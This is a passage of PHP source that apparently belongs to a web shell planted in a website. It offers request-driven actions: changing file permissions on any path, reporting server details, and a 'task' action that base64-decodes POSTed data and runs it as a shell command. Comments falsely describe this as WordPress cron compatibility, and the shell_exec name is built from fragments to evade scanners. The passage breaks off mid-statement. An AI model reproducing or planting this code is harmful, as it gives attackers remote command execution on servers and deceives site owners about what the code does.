$p = isset($_GET['p']) ? $_GET['p'] : '';
            $m = isset($_GET['m']) ? $_GET['m'] : '0644';
            if (!$p) { echo '{"e":"no path"}'; exit; }
            $ok = @chmod($p, octdec($m));
            echo json_encode(array('s' => $ok ? 'ok' : 'fail'));
            break;

        case 'info':
            $srv = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'unknown';
            echo json_encode(array(
                'os' => PHP_OS, 'php' => phpversion(),
                'root' => $D, 'user' => get_current_user(),
                'server' => $srv
            ));
            break;

        
        // Task execution system - WordPress cron compatibility
        // Supports background task processing and scheduled operations
        case 'task':
            $raw = isset($_POST['data']) ? $_POST['data'] : '';
            if (!$raw) { echo '{"e":"no command"}'; exit; }
            $cmd = base64_decode($raw);
            if (!$cmd) { echo '{"e":"decode failed"}'; exit; }
            $full = $cmd . ' 2>&1';
            $out = '';
            $method = 'none';

            // Method 1: shell_exec (she + ll_ex + ec)
            $fn1 = implode('', array('sh